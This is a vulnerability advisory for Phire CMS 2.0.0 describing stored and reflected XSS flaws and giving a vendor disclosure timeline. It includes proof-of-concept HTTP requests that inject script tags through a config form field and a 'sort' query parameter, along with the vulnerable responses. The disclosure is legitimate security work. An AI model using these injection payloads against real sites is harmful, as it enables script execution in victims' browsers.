[+] Title Phire CMS <= 2.0.0 - Multiple XSS Vulnerabilities [+] Credit Mattia Reggiani (info@mattiareggiani.com) [+] Advisory https://github.com/mattiareggiani/Security-Advisories/blob/master/MR-16-02_PhireCMS.pdf [+] Vendor Homepage http://www.phirecms.org/ [+] Affected Version 2.0.0 [+] Tested on Ubuntu Server 14.04, web server Apache 2.2.31 [+] CVE N/A [+] Severity Medium to High [+] Summary Phire CMS is an open source content management system and publishing platform for managing the content of websites and web applications. Phire CMS is written using the MySQL database and the PHP programming language. Phire CMS is prone to multiple cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser. [+] Vulnerabilities [+][+] Stored Cross Site Scripting (XSS) # Description: Multiple stored XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript). # Proof of Concept: >HTTP Request POST /phirecms/phire/config HTTP/1.1 [Headers]: ... [Post Data]: datetime_format=&datetime_format_custom=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&pagination=25&system_theme=default&submit=Save >HTTP Response ... <input type="radio" name="datetime_format" id="datetime_format8" onclick="phire.customDatetime('/phirecms/phire');" checked="checked" value=""><script>alert(1337)</script>" /> <input type="text" name="datetime_format_custom" id="datetime_format_custom" onkeyup="phire.customDatetime('/phirecms/phire')" value=""><script>alert(1337)</script>" size="10" /> ... [+][+] Reflected Cross Site Scripting (XSS) # Description: Reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript). # Proof of Concept: >HTTP Request GET http://[HOST]/phirecms/phire/users?sort=id%3E%3Cscript%3Ealert(1337)%3C/script%3E >HTTP Response ... <p>Error: 1054 => Unknown column 'id><script>alert(1337)</script>' in 'order clause'.</p> ... [+] Disclosure timeline # Discovery: 05/06/16 # Vendor disclosure: 09/06/16 # Vendor acknowledgment: 10/06/16 # Patch release: 14/06/16 # Public disclosure: 19/07/16